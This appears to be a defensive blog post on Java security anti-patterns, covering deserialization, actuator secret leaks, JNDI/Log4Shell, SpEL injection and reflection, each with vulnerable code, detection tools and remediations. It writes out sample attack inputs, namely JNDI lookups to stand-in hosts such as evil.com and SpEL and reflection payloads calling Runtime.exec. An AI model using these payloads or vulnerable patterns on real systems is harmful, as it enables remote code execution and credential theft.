Java has this reputation for being “safe” because of its type system, managed memory, and mature ecosystem. The more I’ve dug into Java security, the more I think that reputation is misleading, and honestly, a bit dangerous. Java’s security pitfalls aren’t about buffer overflows or memory corruption. They’re about the language’s powerful runtime features: deserialization, reflection, JNDI lookups, expression languages, and the Spring framework’s convention-over-configuration philosophy that silently enables dangerous defaults. In this post I want to walk through the Java-specific anti-patterns that lead to remote code execution, data leaks, and authentication bypasses, from the classic ObjectInputStream gadget chain to the Spring Boot actuator endpoint that can expose entire environments.

Deserialization: Java’s Original Sin

I think of deserialization as Java’s original sin because ObjectInputStream.readObject() reconstructs objects from a byte stream by invoking constructors, readObject methods, and readResolve methods on the serialized classes. If the classpath contains classes with dangerous side effects in these methods (called “gadget classes”), an attacker can craft a serialized object that chains these gadgets to achieve arbitrary code execution. The mechanics are well-documented, and tools like ysoserial make exploitation straightforward, which is what makes this so concerning.

The Easy-to-Spot Version

import java.io.*;
import javax.servlet.http.*;

public class DataServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        try {
            ObjectInputStream ois = new ObjectInputStream(req.getInputStream());
            Object data = ois.readObject();
            resp.getWriter().write("Received: " + data.toString());
        } catch (ClassNotFoundException e) {
            resp.sendError(500, "Deserialization failed");
        }
    }
}

Direct deserialization of HTTP request body. Every SAST tool flags this, and for good reason. The attacker sends a crafted serialized object using tools like ysoserial that chains gadgets from common libraries (Apache Commons Collections, Spring, etc.) to execute arbitrary commands. Reading through the ysoserial documentation and the gadget chain research behind it is genuinely eye-opening, the creativity involved in chaining these gadgets is remarkable.

The Hard-to-Spot Version

import java.io.*;
import java.util.Base64;
import javax.servlet.http.*;

public class SessionServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        String sessionData = req.getHeader("X-Session-Data");
        if (sessionData != null) {
            byte[] decoded = Base64.getDecoder().decode(sessionData);
            try (ObjectInputStream ois = new ObjectInputStream(
                    new ByteArrayInputStream(decoded))) {
                Object session = ois.readObject();
                req.setAttribute("session", session);
            } catch (ClassNotFoundException e) {
                // fall through to default session
            }
        }
        resp.getWriter().write("OK");
    }
}

This is the kind of pattern that keeps me digging deeper into codebases. The deserialization is hidden behind Base64 decoding of a custom HTTP header. The header name X-Session-Data doesn’t scream “serialized Java objects” to a reviewer. People scanning for ObjectInputStream on request.getInputStream() miss this because the input comes from a header, not the body. And the ClassNotFoundException is silently swallowed, hiding failed exploitation attempts from logs. I’ve run into this pattern in code reviews, and it’s a good reminder to trace data flow rather than just grep for known sinks.

Comparison: Python’s Pickle vs Java’s ObjectInputStream

Both Python and Java have the same fundamental problem: deserialization executes code. Python’s pickle calls __reduce__, Java’s ObjectInputStream calls readObject. The difference is in available defenses:

# Python: No built-in deserialization filter
# The only defense is "don't use pickle on untrusted data"
import pickle
data = pickle.loads(untrusted_bytes)  # No way to restrict what gets created
// Java (JDK 9+): ObjectInputFilter restricts allowed classes
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;java.util.*;!*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
Object obj = ois.readObject(); // Only allows com.myapp.model and java.util classes

Java’s ObjectInputFilter (JDK 9+) provides a defence-in-depth mechanism that Python lacks entirely. But here’s the catch, the filter must be explicitly configured. The default allows all classes, and from what I’ve seen in code reviews, most teams don’t know this filter exists.

Spring Boot Actuator Exposure

Spring Boot Actuator provides production monitoring endpoints: /actuator/env, /actuator/health, /actuator/beans, /actuator/heapdump. In Spring Boot 1.x, all actuator endpoints were enabled and exposed over HTTP by default. In 2.x+, only /health and /info are exposed by default, but developers frequently enable all endpoints for debugging and forget to restrict them in production. It’s a pattern that shows up with surprising regularity.

The Vulnerable Configuration

# application.yml
management:
  endpoints:
    web:
      exposure:
        include: "*"
  endpoint:
    env:
      show-values: ALWAYS

This exposes every actuator endpoint. /actuator/env reveals all environment variables, including DATABASE_URL, AWS_SECRET_ACCESS_KEY, and SPRING_DATASOURCE_PASSWORD. /actuator/heapdump returns a full JVM heap dump that contains in-memory secrets, session tokens, and cached credentials. Public bug bounty reports are full of findings where production database passwords were pulled from actuator endpoints, it’s one of the first things worth checking on any Spring Boot app.

The Subtle Misconfiguration

# application.yml
management:
  endpoints:
    web:
      exposure:
        include: "health,info,metrics,prometheus"
  server:
    port: 9090

This looks safe, only health, info, metrics, and prometheus are exposed, and they run on a separate port. But here’s what tends to happen in practice: if the management port (9090) is accessible from the same network as the application, the metrics endpoint can leak internal state. More critically, a developer later adds env to the include list for debugging and doesn’t remove it. The separate port provides a false sense of security, it’s still reachable from the internal network. Configuration drift like this is one of those slow-moving risks that’s easy to underestimate.

Comparison: Go’s Approach to Debug Endpoints

Go’s net/http/pprof package provides similar profiling endpoints. The difference is that Go requires explicit registration:

import (
    "net/http"
    _ "net/http/pprof" // Registers /debug/pprof/* handlers
)

func main() {
    // pprof endpoints are registered on DefaultServeMux
    // Only exposed if you use DefaultServeMux
    http.ListenAndServe(":8080", nil)
}

The blank import _ "net/http/pprof" is visible in the source code and easy to grep for. Spring Boot’s actuator configuration is in YAML files that may not be reviewed with the same scrutiny as source code, and in my experience from code reviews, they rarely are.

JNDI Injection and Log4Shell

JNDI (Java Naming and Directory Interface) allows Java applications to look up objects from remote directories (LDAP, RMI, DNS). If the lookup string is attacker-controlled, the remote server can return a serialized Java object or a reference to a remote class that the JVM loads and instantiates, achieving remote code execution. Log4Shell was a watershed moment for understanding how far JNDI injection can reach.

The Classic Pattern

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LookupService {
    public Object lookup(String name) throws NamingException {
        InitialContext ctx = new InitialContext();
        return ctx.lookup(name); // If name = "ldap://evil.com/Exploit", RCE
    }
}

If name comes from user input, the attacker provides ldap://attacker.com/Exploit. The JVM connects to the attacker’s LDAP server, which returns a reference to a remote class. The JVM downloads and instantiates the class, executing the attacker’s code. When I first walked through this attack chain step by step, the simplicity of it was striking, the JVM just… loads and runs remote code.

Log4Shell: JNDI in Logging

The Log4Shell vulnerability (CVE-2021-44228) demonstrated that JNDI lookups were embedded in Log4j’s message formatting. Any logged string containing ${jndi:ldap://attacker.com/x} triggered a JNDI lookup:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class UserService {
    private static final Logger logger = LogManager.getLogger();

    public void login(String username) {
        logger.info("Login attempt for user: {}", username);
        // If username = "${jndi:ldap://evil.com/x}", Log4j performs the lookup
    }
}

What made this vulnerability so devastating, and what I find particularly worth studying, is that logging user input is considered a best practice. Every application that logged HTTP headers, form fields, or query parameters was vulnerable. The fix required upgrading Log4j to 2.17.0+ which disabled JNDI lookups in message patterns by default. The incident fundamentally changed how the industry thinks about trust boundaries in logging.

Comparison: Python’s Logging

Python’s logging module doesn’t perform string interpolation that triggers remote lookups:

import logging

logger = logging.getLogger(__name__)

def login(username):
    logger.info("Login attempt for user: %s", username)
    # Python's logging uses % formatting, no JNDI, no expression evaluation

Python’s logging is safe by design because it uses simple %-style string formatting that doesn’t interpret the format arguments as expressions or lookup directives. It’s a good example of how simpler design choices can avoid entire vulnerability classes.

Expression Language Injection

Java EE and Spring use Expression Languages (EL, SpEL) to evaluate expressions in templates, annotations, and configuration. If user input reaches an EL evaluation context, the attacker can execute arbitrary code. SpEL injection is essentially Java’s version of SSTI, and it’s worth checking for in any Spring app.

Spring Expression Language (SpEL) Injection

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.*;

@RestController
public class SearchController {
    private final ExpressionParser parser = new SpelExpressionParser();

    @GetMapping("/search")
    public String search(@RequestParam String filter) {
        Object result = parser.parseExpression(filter).getValue();
        return "Result: " + result;
    }
}

An attacker sends filter=T(java.lang.Runtime).getRuntime().exec('id') and gets remote code execution. SpEL can access any class on the classpath through the T() type operator. The typical scenario is a developer who thought they were building a “flexible search filter”, the intent is reasonable, but the implementation opens a direct path to RCE.

The Subtle Version: SpEL in Annotations

import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;

@Service
public class ConfigService {
    @Value("#{systemProperties['app.greeting'] ?: 'Hello'}")
    private String greeting;

    // If app.greeting is set from user input (e.g., admin panel),
    // SpEL injection is possible through the property value
}

If the system property app.greeting is populated from an external source (database, admin UI, environment variable from a CI/CD pipeline), an attacker who controls that source can inject SpEL expressions. The @Value annotation evaluates #{} expressions at bean initialization time. I came across a case like this in a code review where an admin panel let users configure “greeting messages”, the developers had no idea they were creating an RCE vector. It’s a good example of how Spring’s convenience features can create non-obvious attack surfaces.

Comparison: JavaScript Template Literals

JavaScript’s template literals don’t evaluate arbitrary expressions from external input:

// JavaScript: Template literals are compile-time, not runtime
const name = userInput;
const greeting = `Hello, ${name}`; // name is interpolated as a string value
// No way for name to execute code through template literal syntax

JavaScript’s template literals are syntactic sugar for string concatenation. They don’t parse the interpolated value as an expression, the expression is fixed at compile time. Java’s SpEL, by contrast, parses and evaluates the expression string at runtime, which is where the danger lies.

Reflection and Unsafe Class Loading

Java’s reflection API allows runtime inspection and invocation of any class, method, or field, including private ones. If the class name or method name comes from user input, the attacker can invoke arbitrary methods. This pattern tends to appear in plugin systems and “extensible” architectures that were never designed with adversarial input in mind.

The Vulnerable Pattern

import java.lang.reflect.Method;

public class PluginLoader {
    public Object invokePlugin(String className, String methodName, String arg)
            throws Exception {
        Class<?> clazz = Class.forName(className);
        Object instance = clazz.getDeclaredConstructor().newInstance();
        Method method = clazz.getMethod(methodName, String.class);
        return method.invoke(instance, arg);
    }
}

An attacker provides className=java.lang.Runtime&methodName=exec&arg=id. The reflection API loads Runtime, invokes exec("id"), and returns the Process object. The fix is to maintain an explicit allowlist of permitted class names and validate against it before calling Class.forName. If you’re using reflection with external input, an allowlist is non-negotiable.

Comparison: Go’s Lack of Runtime Reflection for Execution

Go has a reflect package, but it can’t invoke arbitrary functions by name from a string. You must have a reference to the function at compile time:

// Go: Cannot load arbitrary classes or invoke methods by string name
// The closest equivalent requires an explicit function map
handlers := map[string]func(string) string{
    "greet": greetHandler,
    "search": searchHandler,
}

handlerName := r.URL.Query().Get("handler")
if fn, ok := handlers[handlerName]; ok {
    result := fn(input)
    // ...
}

The explicit map acts as an allowlist. There’s no way to invoke a function that isn’t in the map. This design makes the dangerous pattern impossible by default, which is an approach I appreciate.

Detection Strategies

Tool What It Catches Limitations
SpotBugs (Find Security Bugs) Deserialization, JNDI injection, SpEL injection, path traversal, SQL injection Requires bytecode analysis; misses configuration-level issues
PMD Code style issues that correlate with security problems Not security-focused; limited vulnerability detection
Semgrep Pattern-based detection of all above patterns Requires rules for each pattern; cannot reason about Spring configuration
OWASP Dependency-Check Known CVEs in dependencies (including Log4j) Does not analyse source code
SonarQube Comprehensive security analysis including taint tracking Commercial features required for deep taint analysis

Manual Review Checklist

Here’s a checklist I’ve put together for Java security reviews:

  1. Search for ObjectInputStream, readObject, readUnshared, verify no untrusted input reaches deserialization. Check for Base64 decoding upstream.
  2. Search for InitialContext.lookup, Context.lookup, verify lookup strings are not user-controlled. Log4Shell showed how far JNDI injection can reach.
  3. Search for SpelExpressionParser, @Value("#{"), verify no user input reaches SpEL evaluation. This is a common find in Spring apps.
  4. Search for Class.forName, Method.invoke, verify class/method names are from an allowlist.
  5. Audit application.yml / application.properties for actuator exposure (management.endpoints.web.exposure.include). Worth checking on every Spring Boot project.
  6. Check Log4j version, must be 2.17.0+ to be safe from Log4Shell.
  7. Search for @RequestMapping without explicit HTTP method, defaults to all methods, which may expose unintended functionality.

Remediation Patterns

Deserialization: Use ObjectInputFilter

import java.io.*;

public class SafeDeserializer {
    private static final ObjectInputFilter FILTER =
        ObjectInputFilter.Config.createFilter(
            "com.myapp.dto.*;java.util.ArrayList;java.util.HashMap;" +
            "java.lang.String;java.lang.Integer;java.lang.Long;!*"
        );

    public static Object deserialize(InputStream input) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(input);
        ois.setObjectInputFilter(FILTER);
        return ois.readObject();
    }
}

The filter allowlists specific classes and rejects everything else (!*). This prevents gadget chain attacks because the attacker can’t instantiate the intermediate classes needed for the chain. JSON or Protobuf is still preferable over Java serialization, but if you’re stuck with it, this filter is essential.

Spring Boot: Restrict Actuator Endpoints

# application.yml, production configuration
management:
  endpoints:
    web:
      exposure:
        include: "health,info"
  endpoint:
    health:
      show-details: NEVER
    env:
      enabled: false
    heapdump:
      enabled: false
  server:
    port: -1  # Disable management port entirely, or use a separate port with network restrictions

Disable all endpoints except health and info. Set show-details: NEVER to prevent health endpoint from leaking internal component status. Disable env and heapdump explicitly. This makes a solid standard template for production Spring Boot configs.

SpEL: Use SimpleEvaluationContext

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

public class SafeExpressionEvaluator {
    private final ExpressionParser parser = new SpelExpressionParser();

    public Object evaluate(String expression, Object rootObject) {
        SimpleEvaluationContext context = SimpleEvaluationContext
            .forReadOnlyDataBinding()
            .withRootObject(rootObject)
            .build();
        return parser.parseExpression(expression).getValue(context);
    }
}

SimpleEvaluationContext restricts SpEL to property access on the root object. It disables T() type references, #{} bean references, and method invocation on arbitrary classes. This is the right way to use SpEL with any external input.

Key Takeaways

  1. Java deserialization is remote code execution. Use ObjectInputFilter with an allowlist, or better yet, replace ObjectInputStream with JSON/Protobuf. Unfiltered deserialization is one of the most reliable RCE vectors in the Java ecosystem.
  2. Spring Boot actuator endpoints leak secrets. Restrict exposure to health and info in production. Disable env and heapdump. This is worth checking on every Spring Boot project.
  3. JNDI lookups from user input enable RCE. Log4Shell proved that even logging frameworks can be attack vectors. Keep Log4j at 2.17.0+. That vulnerability changed how the industry thinks about trust boundaries.
  4. SpEL injection is Java’s SSTI. Use SimpleEvaluationContext to restrict expression evaluation to data binding only. It’s a common find in Spring apps once you know to look for it.
  5. Reflection with user-controlled class names is arbitrary code execution. Maintain explicit allowlists for dynamic class loading. No exceptions.
  6. Java’s security problems are architectural, not syntactic. They stem from powerful runtime features (deserialization, reflection, JNDI, expression languages) that are safe when used with trusted input but devastating when exposed to attackers. The hardest part is often convincing teams that these features need the same scrutiny as direct user input handling.